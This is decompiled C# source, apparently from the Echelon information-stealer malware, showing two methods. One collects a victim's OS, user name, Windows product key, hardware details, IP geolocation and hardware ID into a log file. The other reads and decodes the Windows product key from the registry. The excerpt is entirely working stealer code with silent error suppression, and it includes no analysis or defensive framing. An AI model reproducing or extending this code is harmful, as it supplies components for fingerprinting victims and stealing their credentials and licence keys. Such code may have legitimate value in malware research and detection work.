// Token: 0x0600008F RID: 143 RVA: 0x0001B844 File Offset: 0x00019A44 public static void GetSystem(string Echelon_Dir) { ComputerInfo computerInfo = new ComputerInfo(); Size size = Screen.PrimaryScreen.Bounds.Size; try { using (StreamWriter streamWriter = new StreamWriter(Systemsinfo.information, false, Encoding.Default)) { TextWriter textWriter = streamWriter; string[] array = new string[32]; array[0] = "==================================================\n Operating system: "; int num = 1; OperatingSystem osversion = Environment.OSVersion; array[num] = ((osversion != null) ? osversion.ToString() : null); array[2] = " | "; array[3] = computerInfo.OSFullName; array[4] = "\n PC user: "******"/"; array[7] = Environment.UserName; array[8] = "\n WinKey: "; array[9] = WinKey.GetWindowsKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "DigitalProductId"); array[10] = "\n==================================================\n Screen resolution: "; int num2 = 11; Size size2 = size; array[num2] = size2.ToString(); array[12] = "\n Current time Utc: "; array[13] = DateTime.UtcNow.ToString(); array[14] = "\n Current time: "; array[15] = DateTime.Now.ToString(); array[16] = "\n==================================================\n CPU: "; array[17] = Systemsinfo.GetProcessorName(); array[18] = "\n RAM: "; array[19] = Systemsinfo.GetPhysicalMemory(); array[20] = "\n GPU: "; array[21] = Systemsinfo.GetGpuName(); array[22] = "\n ==================================================\n IP Geolocation: "; array[23] = Echelon.Global.Help.IP(); array[24] = " "; array[25] = Echelon.Global.Help.Country(); array[26] = "\n Log Date: "; array[27] = Echelon.Global.Help.date; array[28] = "\n Version build: "; array[29] = JsonValue.buildversion; array[30] = "\n HWID: "; array[31] = Echelon.Global.Help.HWID; textWriter.WriteLine(string.Concat(array)); streamWriter.Close(); } } catch { } }
// Token: 0x060000A0 RID: 160 RVA: 0x0001BCA0 File Offset: 0x00019EA0 public static string GetWindowsKey(string Path, string GetID) { string result = string.Empty; RegistryHive hKey = RunChecker.IsAdmin ? RegistryHive.LocalMachine : RegistryHive.CurrentUser; RegistryView view = RunChecker.IsWin64 ? RegistryView.Registry64 : RegistryView.Registry32; string result2; try { using (RegistryKey registryKey = RegistryKey.OpenBaseKey(hKey, view)) { using (RegistryKey registryKey2 = registryKey.OpenSubKey(Path, RunChecker.IsWin64)) { result = (((Environment.OSVersion.Version.Major != 6 || Environment.OSVersion.Version.Minor < 2) && Environment.OSVersion.Version.Major <= 6) ? WinKey.GetDecodeKey((byte[])registryKey2.GetValue(GetID)) : WinKey.GetDecodeKeyWin8AndUp((byte[])registryKey2.GetValue(GetID))); } } return(result); } catch (Exception) { result2 = "Unknown WinKey"; } return(result2); }